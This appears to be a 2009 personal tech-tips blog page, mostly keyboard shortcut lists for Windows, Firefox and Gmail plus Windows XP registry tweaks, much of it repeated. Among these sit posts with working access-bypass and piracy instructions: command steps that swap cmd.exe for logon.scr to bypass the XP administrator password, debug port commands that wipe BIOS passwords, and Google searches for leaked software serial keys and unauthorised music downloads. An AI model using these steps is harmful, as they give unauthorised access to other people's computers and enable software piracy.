List of F1-F9 Key Cmds 4 cmd prompt

List of F1-F9 Key Commands for the Command Prompt
F1 / right arrow: Repeats the letters of the last command line, one by one.
F2: Displays a dialog asking user to "enter the char to copy up to" of the last command line
F3: Repeats the last command line
F4: Displays a dialog asking user to "enter the char to delete up to" of the last command line
F5: Goes back one command line
F6: Enters the traditional CTRL+Z (^z)
F7: Displays a menu with the command line history
F8: Cycles back through previous command lines (beginning with most recent)
F9: Displays a dialog asking user to enter a command number, where 0 is for first command line entered.
Alt+Enter: toggle full Screen mode.
up/down: scroll thru/repeat previous entries
Esc: delete line
Note: The buffer allows a maximum of 50 command lines. After this number is reached, the first line will be replaced in sequence.
Helpful accessibility keyboard shortcuts
Switch FilterKeys on and off. Right SHIFT for eight seconds
Switch High Contrast on and off. Left ALT +left SHIFT +PRINT SCREEN
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch StickyKeys on and off. SHIFT five times
Switch ToggleKeys on and off. NUM LOCK for five seconds

Gmail Shortcuts

Gmail
Note: Must have "keyboard shortcuts" on in settings.
C: Compose new message.
Shift + C: Open new window to compose new message.
Slash (/): Switch focus to search box.
K: Switch focus to the next most recent email. Enter or "O" opens focused email.
J: Switch focus to the next oldest email.
N: Switch focus to the next message in the "conversation." Enter or "O" expands/collapses messages.
P: Switch focus to the previous message.
U: Takes you back to the inbox and checks for new mail.
Y: Various actions depending on current view:
Has no effect in "Sent" and "All Mail" views.
Inbox: Archive email or message.
Starred: Unstar email or message.
Spam: Unmark as spam and move back to "Inbox."
Trash: Move back to "Inbox."
Any label: Remove the label.
X: "Check" an email. Various actions can be performed against all checked emails.
S: "Star" an email. Identical to the more familiar term, "flagging."
R: Reply to the email.
A: Reply to all recipients of the email.
F: Forward an email.
Shift + R: Reply to the email in a new window.
Shift + A: Reply to all recipients of the email in a new window.
Shift + F: Forward an email in a new window.
Shift + 1 (!): Mark an email as spam and remove it from the inbox.
G then I: Switch to "Inbox" view.
G then S: Switch to "Starred" view.
G then A: Switch to "All Mail" view.
G then C: Switch to "Contacts" view.
G then S: Switch to "Drafts" view.

Mozilla Firefox Shortcuts

Mozilla Firefox Shortcuts
Ctrl + Tab or Ctrl + PageDown: Cycle through tabs.
Ctrl + Shift + Tab or Ctrl + PageUp: Cycle through tabs in reverse.
Ctrl + (1-9): Switch to tab corresponding to number.
Ctrl + N: New window.
Ctrl + T: New tab.
Ctrl + L or Alt + D or F6: Switch focus to location bar.
Ctrl + Enter: Open location in new tab.
Shift + Enter: Open location in new window.
Ctrl + K or Ctrl + E: Switch focus to search bar.
Ctrl + O: Open a local file.
Ctrl + W: Close tab, or window if there's only one tab open.
Ctrl + Shift + W: Close window.
Ctrl + S: Save page as a local file.
Ctrl + P: Print page.
Ctrl + F or F3: Open find toolbar.
Ctrl + G or F3: Find next...
Ctrl + Shift + G or Shift + F3: Find previous...
Ctrl + B or Ctrl + I: Open Bookmarks sidebar.
Ctrl + H: Open History sidebar.
Escape: Stop loading page.
Ctrl + R or F5: Reload current page.
Ctrl + Shift + R or Ctrl + F5: Reload current page; bypass cache.
Ctrl + U: View page source.
Ctrl + D: Bookmark current page.
Ctrl + NumpadPlus or Ctrl + Equals (+/=): Increase text size.
Ctrl + NumpadMinus or Ctrl + Minus: Decrease text size.
Ctrl + Numpad0 or Ctrl + 0: Set text size to default.
Alt + Left or Backspace: Back.
Alt + Right or Shift + Backspace: Forward.
Alt + Home: Open home page.
Ctrl + M: Open new message in integrated mail client.
Ctrl + J: Open Downloads dialog.
F6: Switch to next frame. You must have selected something on the page already, e.g. by use of Tab.
Shift + F6: Switch to previous frame.
Apostrophe ('): Find link as you type.
Slash (/): Find text as you type.

Remote Desktop Connection Navigation

Remote Desktop Connection Navigation
Ctrl + Alt + End: Open the NT Security dialog.
Alt + PageUp: Switch between programs.
Alt + PageDown: Switch between programs in reverse.
Alt + Insert: Cycle through the programs in most recently used order.
Alt + Home: Display start menu.
Ctrl + Alt + Break: Switch the client computer between a window and a full screen.
Alt + Delete: Display the Windows menu.
Ctrl + Alt + NumpadMinus: Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing Alt + PrintScreen on a local computer.
Ctrl + Alt + NumpadPlus: Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PrintScreen on a local computer.

Accessibility

Accessibility
Right Shift for eight seconds: Toggle FilterKeys on and off. FilterKeys must be enabled.
Left Alt + Left Shift + PrintScreen: Toggle High Contrast on and off. High Contrast must be enabled.
Left Alt + Left Shift + NumLock: Toggle MouseKeys on and off. MouseKeys must be enabled.
NumLock for five seconds: Toggle ToggleKeys on and off. ToggleKeys must be enabled.
Shift five times: Toggle StickyKeys on and off. StickyKeys must be enabled.
6.) Microsoft Natural Keyboard with IntelliType Software Installed
Win + L: Log off Windows.
Win + P: Open Print Manager.
Win + C: Open control panel.
Win + V: Open clipboard.
Win + K: Open keyboard properties.
Win + I: Open mouse properties.
Win + A: Open Accessibility properties.
Win + Space: Displays the list of Microsoft IntelliType shortcut keys.
Win + S: Toggle CapsLock on and off.

Generic

Generic
Ctrl + C or Ctrl + Insert: Copy.
Ctrl + X or Shift + Delete: Cut.
Ctrl + V or Shift + Insert: Paste/Move.
Ctrl + N: New... File, Tab, Entry, etc.
Ctrl + S: Save.
Ctrl + O: Open...
Ctrl + P: Print.
Ctrl + Z: Undo.
Ctrl + A: Select all.
Ctrl + F: Find...
Ctrl+W : to close the current window
Ctrl + F4: Close tab or child window.
F1: Open help.
F11: Toggle full screen mode.
Alt or F10: Activate menu bar.
Alt + Space: Display system menu. Same as clicking the icon on the titlebar.
Escape: Remove focus from current control/menu, or close dialog box.
Generic Navigation
Tab: Forward one item.
Shift + Tab: Backward one item.
Ctrl + Tab: Cycle through tabs/child windows.
Ctrl + Shift + Tab: Cycle backwards through tabs/child windows.
Enter: If a button's selected, click it, otherwise, click default button.
Space: Toggle items such as radio buttons or checkboxes.
Alt + (Letter): Activate item corresponding to (Letter). (Letter) is the underlined letter on the item's name.
Ctrl + Left: Move cursor to the beginning of previous word.
Ctrl + Right: Move cursor to the beginning of next word.
Ctrl + Up: Move cursor to beginning of previous paragraph. This and all subsequent Up/Down hotkeys in this section have only been known to work in Rich Edit controls.
Ctrl + Down: Move cursor to beginning of next paragraph.
Shift + Left: Highlight one character to the left.
Shift + Right: Highlight one character to the right.
Shift + Up: Highlight from current cursor position, to one line up.
Shift + Down: Highlight from current cursor position, to one line down.
Ctrl + Shift + Left: Highlight to beginning of previous word.
Ctrl + Shift + Right: Highlight to beginning of next word.
Ctrl + Shift + Up: Highlight to beginning of previous paragraph.
Ctrl + Shift + Down: Highlight to beginning of next paragraph.
Home: Move cursor to top of a scrollable control.
End: Move cursor to bottom of a scrollable control.
Generic File Browser
Arrow Keys: Navigate.
Shift + Arrow Keys: Select multiple items.
Ctrl + Arrow Keys: Change focus without changing selection. "Focus" is the object that will run on Enter. Space toggles selection of the focused item.
(Letter): Select first found item that begins with (Letter).
BackSpace: Go up one level to the parent directory.
Alt + Left: Go back one folder.
Alt + Right: Go forward one folder.
Enter: Activate (Double-click) selected item(s).
Alt + Enter: View properties for selected item.
F2: Rename selected item(s).
Ctrl + NumpadPlus: In a Details view, resizes all columns to fit the longest item in each one.
Delete: Delete selected item(s).
Shift + Delete: Delete selected item(s); bypass Recycle Bin.
Ctrl while dragging item(s): Copy.
Ctrl + Shift while dragging item(s): Create shortcut(s).

In tree pane, if any:
Left: Collapse the current selection if expanded, or select the parent folder.
Right: Expand the current selection if collapsed, or select the first subfolder.
Numpad Asterisk: Expand currently selected directory and all subdirectories. No undo.
Numpad Plus: Expand currently selected directory.
Numpad Minus: Collapse currently selected directory.

Windows Hotkeys

Windows Hotkeys
Shift + F10 right-clicks.
Win + L (XP Only): Locks keyboard. Similar to Lock Workstation.
Win + F or F3: Open Find dialog. (All Files) F3 may not work in some applications which use F3 for their own find dialogs.
Win + Control + F: Open Find dialog. (Computers)
Win + U: Open Utility Manager.
Win + F1: Open Windows help.
Win + Pause: Open System Properties dialog.
Win + Tab: Cycle through taskbar buttons. Enter clicks, AppsKey or Shift + F10 right-clicks.
Win + Shift + Tab: Cycle through taskbar buttons in reverse.
Alt + Tab: Display Cool Switch. More commonly known as the AltTab dialog.
Alt + Shift + Tab: Display Cool Switch; go in reverse.
Alt + Escape: Send active window to the bottom of the z-order.
Alt + Shift + Escape: Activate the window at the bottom of the z-order.
Alt + F4: Close active window; or, if all windows are closed, open shutdown dialog.
Shift while a CD is loading: Bypass AutoPlay.
Shift while login: Bypass startup folder. Only those applications will be ignored which are in the startup folder, not those started from the registry (Microsoft\Windows\CurrentVersion\Run\)
Ctrl + Alt + Delete or Ctrl + Alt + NumpadDel (Both NumLock states): Invoke the Task Manager or NT Security dialog.
Ctrl + Shift + Escape (2000/XP ) or (Ctrl + Alt + NumpadDot) : Invoke the task manager. On earlier OSes, acts like Ctrl + Escape.
Print screen: Copy screenshot of current screen to clipboard.
Alt + Print screen: Copy screenshot of current active window to clipboard.
Ctrl + Alt + Down Arrow: Invert screen. Untested on OS's other than XP.
Ctrl + Alt + Up Arrow: Undo inversion.
Win + B : Move focus to systray icons.

HACKING WINDOWS XP PASSWORD

2009-06-29T09:23:00.000-07:00

Hack windows xp passwords

Here are the steps involved to Hack the Window XP Administrator Password .
1. Go to Start –> Run –> Type in CMD
2. You will get a command prompt. Enter these commands the way it is given
3. cd\
4. cd\ windows\system32
5. mkdir temphack
6. copy logon.scr temphack\logon.scr
7. copy cmd.exe temphack\cmd.exe
8. del logon.scr
9. rename cmd.exe logon.scr
10. exit
Wait its not [...]

Here is the Best way to Crack the BIOS password

2009-05-14T10:13:00.000-07:00

There are a lot ways to Crack the BIOS password. This is one of them but I would say that this one is more effective than the rest because the rest of the ways does not Guarantee you that it will Crack the BIOS password while in this case the Cracking is Guaranteed since in this we will remove the functionality of password protection of the BIOS.

Follow the steps below:

[eminimall]

1) Boot up windows.
2) go to dos-prompt or go to command prompt directly from the windows start up menu.

3) type the command at the prompt: “debug” (without quotes ninja.gif )
4) type the following lines now exactly as given…….
o 70 10
o 71 20
quit
exit

4) exit from the dos prompt and restart the machine

password protection gone!!!!!!!!!!!!!

EnjoYYYYYYYYYY

PS: I tested this in Award Bios……..
There seems to be some issue regarding display drivers on some machines if this is used. Just reinstall the drivers, Everything will be fine………..

I have not found any other trouble if the codes are used.

To be on safe side, just back up your data……….

The use of this code is entirely at ur risk……….

It worked fine for me……….

Google trick for free song ,videos etc downloads

2009-04-12T02:00:00.001-07:00

A google tricks for free songs, videos etc downloads

1)in google search text box type"intitle:index of"(including codes)

2)next enter artists name or title of a song for example and then the file type such as mp3 or wma and click search it looks like this ("intitle:index of" rehman mp3)

3)a list of server will show up

4)open one of them ,u will finf a bunch of files right on one of them u want and click "save target as" note:many of servers dont allow u to download but some do.ok

GET THE SERIAL NUMBER WITH GOOGLE

2009-04-12T01:55:00.000-07:00

Get the serial number you need ! (For Certain Things)*

Go to Google.*

In the search field type: "Product name" 94FBR

* Where, "Product Name" is the name of the item you want to find the serial number for.

* And voila - there you go - the serial number you needed.

HOW DOES THIS WORK?

Quite simple really. 94FBR is part of a Office 2000 Pro cd key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. By searching for the product name and 94fbr, you guarantee two things. 1) The pages that are returned are pages dealing specifically with the product you're wanting a serial for. 2) Because 94FBR is part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page.

See these example searches:

"Photoshop 7" 94FBR
"Age of Mythology" 94FBR
"Nero Burning Ro

Google trick for free song ,videos etc downloads

2009-04-12T00:50:00.000-07:00

REGISTRY EDITING TIPS

2009-04-12T00:41:00.001-07:00

Xp Registry tricks

Display Your Quick Launch Toolbar Tip:

Is your Quick Launch toolbar missing from the taskbar?
To display your familiar Quick Launch toolbar:
Right-click an empty area on the taskbar, click Toolbars, and then click Quick Launch.

Easy as that your Quick Launch bar appears. To add items to your Quick Launch toolbar, click the icon for the program you want to add, and drag it to the Quick Launch portion of the taskbar.

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How to remove recycle bin from your desktop Tip:

Open Regedit by going to START - RUN and type Regedit and hit enter. Then you should navigate to following entry in registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E} and delete it. This action should remove recycle bin from your desktop.

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How to stop new programs installed balloon from coming up tip:

Right click on START button and select properties. Click on Customize and go to Advanced tab and deselect check box saying "Highlight newly installed programs". This would help you stop this annoying feature from popping up every now and then.

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Unlock Toolbars to Customize Them Tip:

The new Windows XP now features locking toolbars, and you can adjust them. You may customize a lot of the Windows XP features such as the Taskbar, Start Menu, and even toolbar icons in Internet Explorer and Outlook Express. Remember your right-click:
* Right-click on a toolbar, and then click Lock the Toolbars to remove the check mark.
* Right-click on the toolbar again, and then click Customize.

You may add or remove toolbar buttons, change text options and icon options. When you've got the toolbar customized, click Close. Now right-click on the toolbar and then click Lock the Toolbars to lock them in place. com

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Want to remove shared documents folder from My Computer window tip:

Some don't like my shared documents folder option. If you are one of that, here is a trick to remove it.Open registry editor by going to START-RUN and entering regedit.
Once in registry, navigate to key HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders You must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this key, you have effectively removed the my shared documents folder.

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How to improve on shutdown time ? Close apps automatically & quickly at shutdown tip:

Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_CURRENT_USER\CONTROL PANEL\DESKTOP and look for AutoEndTasks. On my computer default value is 0. Change it to 1. Thats all. Further more you can reduce the time it takes for Windows to issue kill directive to all active/hung applications.
In doing this only constraint that you should make sure exists is that HungAppTimeout is greater than WaitToKillAppTimeout. Change the values of WaitToKillAppTimeout to say 3500 (since default value for HungAppTimeout 5000 and for WaitToKillAppTimeout is 20000)

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Are you missing icons Tip:

Are you missing icons? You may be wondering where all the icons from your desktop are in Windows XP? Well if you're like me, you like to have at least My Computer, My Network Places, and My Documents on the your desktop.
You need to:
* Right-click on the desktop, and then click Properties.
* Click the Desktop tab and then click on Customize Desktop.
* Put a check mark in the box next to My Document, My Computer, My Network Places, or Internet Explorer, to add those familiar icons to your desktop. Easy yes!

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How to login as administrator if you don't see it available tip:

Unless and until you have run into issues and fixing XP (under which case you have to go to Safe Mode to login as Administrator), you can get to administrator screen by simply pressing CTRL+ALT+DELETE twice at the main screen.

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Speedup boot up sequence by defragmenting all key boot files tip:

Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction. In right hand panel look for Enable. Right click on it and set it 'Y' for enable. This is the way I have it set on my computer. This will help speedup boot time.

Use a Shortcut to Local Area Network Connection Information:

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Use a Shortcut to Local Area Network Connection Information Tip:

Here's something new in Windows XP, instead of using the command line program and typing ipconfig to get local area network information, you can try using the following shortcut:
* Click on Start, point to Connect to, and then click Show All Connections.
* Right–click the connection you want information about, and then click Status.
* In the connection Properties dialog box, click the Support tab.
* For more information, click on the Advanced tab.

To automatically enable the status monitor each time the connection is active, in the connection Properties dialog box, select the Show icon in taskbar notification area when connected check box.

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Do you know you can have Virtual Desktops (like in Linux) with PowerToys ?

If you have powertoys installed on Windows XP Its available for free at Microsoft download webpage. It is very easy to enable Microsoft Virtual Desktop Feature. Simply right click on the Start Panel Bar also called TaskBar, Click on Tool Bar and select Desktop manager.
You would see a set of 5 icons placed on the right portion of the TAskBar. Click on number 1 to 4 to go to any of the desktops. Now you have have four different Active Desktops.
IMPORTANT NOTE: You may see a little degradation in performance.

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Customize Internet. Explorer Title bar tip:

This tip won't make your computer any faster but may help personalize your computer experience. Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main. In right hand panel look for string "Window Title" and change its value to whatever custom text you want to see.

Easy Text Size Change in Help & IE Tip:
I mentioned a way that you can change the size of the text that is display in the Help file and in Internet Explorer. As it turns out if you have a "wheel mouse," there is an even easier way to change the text size. In Internet Explorer or when viewing a Help file, simply hold the ctrl key while you spin the mouse wheel up to increase text size, or down to decrease text size.
Java VM: Java applets run in Internet Explorer 6 (a component of Windows XP) just as they run in older versions of Internet Explorer. The Java VM is not installed as part of the typical installation, but is installed on demand when a user encounters a page that uses a Java Applet. For more information see the Microsoft Technologies for Java Web site.

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Windows XP Shutdown and Power Off Tip:

On some computers, by default, Windows XP doesn't power off the computer when you tell it to shut down. However, if your computer is relatively new, it can probably by shut completely off by WinXP. To configure your computer for this behavior, simply open the Control Panel, open Performance and Maintenance, then Power Options. On the APM tab, check next to "Enable Advanced Power Management support," then click OK. The next time you choose "Shut Down" from the Start Menu, your computer should shut down completely and then power off.

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Customize Explorer Toolbar Tip:

In Windows Explorer, you can customize the toolbar to make Explorer even more handy. The Toolbar is the bar of icons directly underneath the menu bar. It contains icons for going back, up one level, displaying folders or search, etc. You can right-click an open area of this Toolbar and choose Customize to change the order of these icons, and even to add new icons to it. For instance, I like to add the Map Drive and Disconnect buttons. In Windows XP, you may have to unlock the Taskbar before you can make changes in Windows Explorer.
Lock the Taskba - If you find that your Windows XP Taskbar keeps being changed, or moved to one side or the top of your screen, and you didn't mean to have it do that, this tip is for you. Once you have your Task Bar arranged the way you like it, in the right location on the screen, and with all the right toolbars and icons, you can lock it, so that it won't get changed accidentally. To lock the Taskbar, simply right click it and choose Properties. In the window that appears, check the box (click) next to "Lock the Taskbar." Now you won't accidentally bump the mouse and have your Task bar end up on another side of the screen.

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Check Personal Firewall Status Tip:

In the previous tip, I mention how to turn on Windows XP's Personal Firewall feature. But once you turn it on, your connection looks just the same as it did before. How can you check the status of the connection and the firewall? Simply open Control Panel from the Start Menu, open Internet and Network Connections, then Network Connections. By default the view is of large icons.
Click the View Menu, and choose "details" in order to reveal several more columns of information about the connections that your computer has. Check the Status column to see if your connection is currently connected, and whether or not it is "firewalled." You can even drag the column headings around (I like to slide the Status column right next to the Name column. You can even remove entire columns by right-clicking the column heading and unchecking it.

Where does Window's Product Id get stored Tip:

There are two places at least where ProductId gets stored. To see the first place, open Registry by going to START-RUN and entering REGEDIT and Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]. In right pane, look for key by the name "ProductId". This is your Windows Product Id. Alternatively you can navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion] and still find same field with the name ProductId.

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You can Keep Your Favorite Programs on Top of the Start Menu tip:

Do you have a favorite program that you frequently use? Elevate its priority on the Start menu by putting it at the top of the list. This ensures that the program will remain on the Start menu and cannot be bumped by other programs, even if you use the others more frequently.
Right-click the link to your favorite program on the Start menu and select Pin to Start Menu.
Your program will be moved permanently to the top part of the list, just below your browser and e-mail programs.

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Having problems with Outlook Express ? Does it ask for password every time you connect tip:

If this is problem for you. Sometimes no matter what you do, Outlook Express forgets your password and asks you to enter it again each and every time you connect to your mail server.I have a solution that may work for you. Open Registry by going to START-RUN and entering REGEDIT and Navigate to HKEY_CURRRENT USER\Software\Microsoft and look for "Protected Storage System Provider". There is a good chance that you will see this folder. If you have it. Simply delete it. More than likely, you have solved your problem.

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How to avoid auto play of CD ? Way I like best tip.

Hey this time no registry trick even though there are ways in registry to do it. In earlier operating systems only those CD that had autorun.inf file in their root directory were able to execute on its own but with advent of WINDOWS XP it has become possible with just about anything. Well sometimes it is good but there are other times when you want to avoid this part of automation. What would I do. Simply press SHIFT key when you enter a CD in your CD drive. It won't Auto play. For those of you, who do want a registry hack. Here it is:
Open Registry and navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] and look for key "NoDriveTypeAutoRun" and set its value to 185 (decimal). This would stop autoplay.

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This tip to speed up the Start Menu in Windows XP.
Did you know you can customize the speed of the Start Menu by editing a Registry Key.

* Click Start, and then click Run.
* Type Regedit in the box, and then click OK.
* Expand the menu in the left panel and select the HKEY_CURRENT_USER\Control Panel\Desktop folder.
* Scroll down in the right panel and double click on the MenuShowDelay file.
* In the Value Data box, change to default value for the menu speed from 400 to a lesser number, such as 1.
*Click OK.
Caution: Incorrectly editing the registry may severely damage your system. Before making changes to the registry, you may want to back up any valued data on your computer.

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Customizing Windows Explorer Context menu (right click menu in windows explorer)

Ever wondered how does the right click menu (which is actually a context menu) work ? For example, when I right click in windows explorer, I see an option which says "open command window here". Do You know why I see this ? Well I see this because I have following entries in my registry.

[HKEY_CLASSES_ROOT\Drive\shell\cmd]
@="Open Command Window Here"
[HKEY_CLASSES_ROOT\Drive\shell\cmd\command]
@="C:\WINDOWS\System32\cmd.exe /k cd "%1""
If You have never used a tweaking utility and have newly installed Windows XP, You would not see this option. You would have to navigate to [[HKEY_CLASSES_ROOT\Drive] go and create two subkeys ("cmd" and within that "command" and would have to put the text "Open Command Window Here" without quotes in default string value of "cmd" key and the text "C:\WINDOWS\System32\cmd.exe /k CD"%1"" without quotes in default string value of command key). After this You need to REBOOT for these changes to take effect.
Trick is in adding similar entries for other applications as well even though its much harder to come with ideas about what to put in the context menu!!!! .

Posted by deepak at 8:06 PM

ALL KEYBORDS SHORTCUTS

2009-04-12T00:39:00.000-07:00

1.) Windows Hotkeys

Shift + F10 right-clicks.
Win + L (XP Only): Locks keyboard. Similar to Lock Workstation.
Win + F or F3: Open Find dialog. (All Files) F3 may not work in some applications which use F3 for their own find dialogs.
Win + Control + F: Open Find dialog. (Computers)
Win + U: Open Utility Manager.
Win + F1: Open Windows help.
Win + Pause: Open System Properties dialog.
Win + Tab: Cycle through taskbar buttons. Enter clicks, AppsKey or Shift + F10 right-clicks.
Win + Shift + Tab: Cycle through taskbar buttons in reverse.
Alt + Tab: Display Cool Switch. More commonly known as the AltTab dialog.
Alt + Shift + Tab: Display Cool Switch; go in reverse.
Alt + Escape: Send active window to the bottom of the z-order.
Alt + Shift + Escape: Activate the window at the bottom of the z-order.
Alt + F4: Close active window; or, if all windows are closed, open shutdown dialog.
Shift while a CD is loading: Bypass AutoPlay.
Shift while login: Bypass startup folder. Only those applications will be ignored which are in the startup folder, not those started from the registry (Microsoft\Windows\CurrentVersion\Run\)
Ctrl + Alt + Delete or Ctrl + Alt + NumpadDel (Both NumLock states): Invoke the Task Manager or NT Security dialog.
Ctrl + Shift + Escape (2000/XP ) or (Ctrl + Alt + NumpadDot) : Invoke the task manager. On earlier OSes, acts like Ctrl + Escape.
Print screen: Copy screenshot of current screen to clipboard.
Alt + Print screen: Copy screenshot of current active window to clipboard.
Ctrl + Alt + Down Arrow: Invert screen. Untested on OS's other than XP.
Ctrl + Alt + Up Arrow: Undo inversion.
Win + B : Move focus to systray icons.

2.) Generic

Ctrl + C or Ctrl + Insert: Copy.
Ctrl + X or Shift + Delete: Cut.
Ctrl + V or Shift + Insert: Paste/Move.
Ctrl + N: New... File, Tab, Entry, etc.
Ctrl + S: Save.
Ctrl + O: Open...
Ctrl + P: Print.
Ctrl + Z: Undo.
Ctrl + A: Select all.
Ctrl + F: Find...
Ctrl+W : to close the current window
Ctrl + F4: Close tab or child window.
F1: Open help.
F11: Toggle full screen mode.
Alt or F10: Activate menu bar.
Alt + Space: Display system menu. Same as clicking the icon on the titlebar.
Escape: Remove focus from current control/menu, or close dialog box.

3.) Generic Navigation

Tab: Forward one item.
Shift + Tab: Backward one item.
Ctrl + Tab: Cycle through tabs/child windows.
Ctrl + Shift + Tab: Cycle backwards through tabs/child windows.
Enter: If a button's selected, click it, otherwise, click default button.
Space: Toggle items such as radio buttons or checkboxes.
Alt + (Letter): Activate item corresponding to (Letter). (Letter) is the underlined letter on the item's name.
Ctrl + Left: Move cursor to the beginning of previous word.
Ctrl + Right: Move cursor to the beginning of next word.
Ctrl + Up: Move cursor to beginning of previous paragraph. This and all subsequent Up/Down hotkeys in this section have only been known to work in Rich Edit controls.
Ctrl + Down: Move cursor to beginning of next paragraph.
Shift + Left: Highlight one character to the left.
Shift + Right: Highlight one character to the right.
Shift + Up: Highlight from current cursor position, to one line up.
Shift + Down: Highlight from current cursor position, to one line down.
Ctrl + Shift + Left: Highlight to beginning of previous word.
Ctrl + Shift + Right: Highlight to beginning of next word.
Ctrl + Shift + Up: Highlight to beginning of previous paragraph.
Ctrl + Shift + Down: Highlight to beginning of next paragraph.
Home: Move cursor to top of a scrollable control.
End: Move cursor to bottom of a scrollable control.

4.) Generic File Browser

Arrow Keys: Navigate.
Shift + Arrow Keys: Select multiple items.
Ctrl + Arrow Keys: Change focus without changing selection. "Focus" is the object that will run on Enter. Space toggles selection of the focused item.
(Letter): Select first found item that begins with (Letter).
BackSpace: Go up one level to the parent directory.
Alt + Left: Go back one folder.
Alt + Right: Go forward one folder.
Enter: Activate (Double-click) selected item(s).
Alt + Enter: View properties for selected item.
F2: Rename selected item(s).
Ctrl + NumpadPlus: In a Details view, resizes all columns to fit the longest item in each one.
Delete: Delete selected item(s).
Shift + Delete: Delete selected item(s); bypass Recycle Bin.
Ctrl while dragging item(s): Copy.
Ctrl + Shift while dragging item(s): Create shortcut(s).
In tree pane, if any:
Left: Collapse the current selection if expanded, or select the parent folder.
Right: Expand the current selection if collapsed, or select the first subfolder.
Numpad Asterisk: Expand currently selected directory and all subdirectories. No undo.
Numpad Plus: Expand currently selected directory.
Numpad Minus: Collapse currently selected directory.

5.) Accessibility

Right Shift for eight seconds: Toggle FilterKeys on and off. FilterKeys must be enabled.
Left Alt + Left Shift + PrintScreen: Toggle High Contrast on and off. High Contrast must be enabled.
Left Alt + Left Shift + NumLock: Toggle MouseKeys on and off. MouseKeys must be enabled.
NumLock for five seconds: Toggle ToggleKeys on and off. ToggleKeys must be enabled.
Shift five times: Toggle StickyKeys on and off. StickyKeys must be enabled.
6.) Microsoft Natural Keyboard with IntelliType Software Installed
Win + L: Log off Windows.
Win + P: Open Print Manager.
Win + C: Open control panel.
Win + V: Open clipboard.
Win + K: Open keyboard properties.
Win + I: Open mouse properties.
Win + A: Open Accessibility properties.
Win + Space: Displays the list of Microsoft IntelliType shortcut keys.
Win + S: Toggle CapsLock on and off.

7.) Remote Desktop Connection Navigation

Ctrl + Alt + End: Open the NT Security dialog.
Alt + PageUp: Switch between programs.
Alt + PageDown: Switch between programs in reverse.
Alt + Insert: Cycle through the programs in most recently used order.
Alt + Home: Display start menu.
Ctrl + Alt + Break: Switch the client computer between a window and a full screen.
Alt + Delete: Display the Windows menu.
Ctrl + Alt + NumpadMinus: Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing Alt + PrintScreen on a local computer.
Ctrl + Alt + NumpadPlus: Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PrintScreen on a local computer.

8.) Mozilla Firefox Shortcuts

Ctrl + Tab or Ctrl + PageDown: Cycle through tabs.
Ctrl + Shift + Tab or Ctrl + PageUp: Cycle through tabs in reverse.
Ctrl + (1-9): Switch to tab corresponding to number.
Ctrl + N: New window.
Ctrl + T: New tab.
Ctrl + L or Alt + D or F6: Switch focus to location bar.
Ctrl + Enter: Open location in new tab.
Shift + Enter: Open location in new window.
Ctrl + K or Ctrl + E: Switch focus to search bar.
Ctrl + O: Open a local file.
Ctrl + W: Close tab, or window if there's only one tab open.
Ctrl + Shift + W: Close window.
Ctrl + S: Save page as a local file.
Ctrl + P: Print page.
Ctrl + F or F3: Open find toolbar.
Ctrl + G or F3: Find next...
Ctrl + Shift + G or Shift + F3: Find previous...
Ctrl + B or Ctrl + I: Open Bookmarks sidebar.
Ctrl + H: Open History sidebar.
Escape: Stop loading page.
Ctrl + R or F5: Reload current page.
Ctrl + Shift + R or Ctrl + F5: Reload current page; bypass cache.
Ctrl + U: View page source.
Ctrl + D: Bookmark current page.
Ctrl + NumpadPlus or Ctrl + Equals (+/=): Increase text size.
Ctrl + NumpadMinus or Ctrl + Minus: Decrease text size.
Ctrl + Numpad0 or Ctrl + 0: Set text size to default.
Alt + Left or Backspace: Back.
Alt + Right or Shift + Backspace: Forward.
Alt + Home: Open home page.
Ctrl + M: Open new message in integrated mail client.
Ctrl + J: Open Downloads dialog.
F6: Switch to next frame. You must have selected something on the page already, e.g. by use of Tab.
Shift + F6: Switch to previous frame.
Apostrophe ('): Find link as you type.
Slash (/): Find text as you type.

9.) Gmail

Note: Must have "keyboard shortcuts" on in settings.
C: Compose new message.
Shift + C: Open new window to compose new message.
Slash (/): Switch focus to search box.
K: Switch focus to the next most recent email. Enter or "O" opens focused email.
J: Switch focus to the next oldest email.
N: Switch focus to the next message in the "conversation." Enter or "O" expands/collapses messages.
P: Switch focus to the previous message.
U: Takes you back to the inbox and checks for new mail.
Y: Various actions depending on current view:
Has no effect in "Sent" and "All Mail" views.
Inbox: Archive email or message.
Starred: Unstar email or message.
Spam: Unmark as spam and move back to "Inbox."
Trash: Move back to "Inbox."
Any label: Remove the label.
X: "Check" an email. Various actions can be performed against all checked emails.
S: "Star" an email. Identical to the more familiar term, "flagging."
R: Reply to the email.
A: Reply to all recipients of the email.
F: Forward an email.
Shift + R: Reply to the email in a new window.
Shift + A: Reply to all recipients of the email in a new window.
Shift + F: Forward an email in a new window.
Shift + 1 (!): Mark an email as spam and remove it from the inbox.
G then I: Switch to "Inbox" view.
G then S: Switch to "Starred" view.
G then A: Switch to "All Mail" view.
G then C: Switch to "Contacts" view.
G then S: Switch to "Drafts" view.

10.) List of F1-F9 Key Commands for the Command Prompt

F1 / right arrow: Repeats the letters of the last command line, one by one.
F2: Displays a dialog asking user to "enter the char to copy up to" of the last command line
F3: Repeats the last command line
F4: Displays a dialog asking user to "enter the char to delete up to" of the last command line
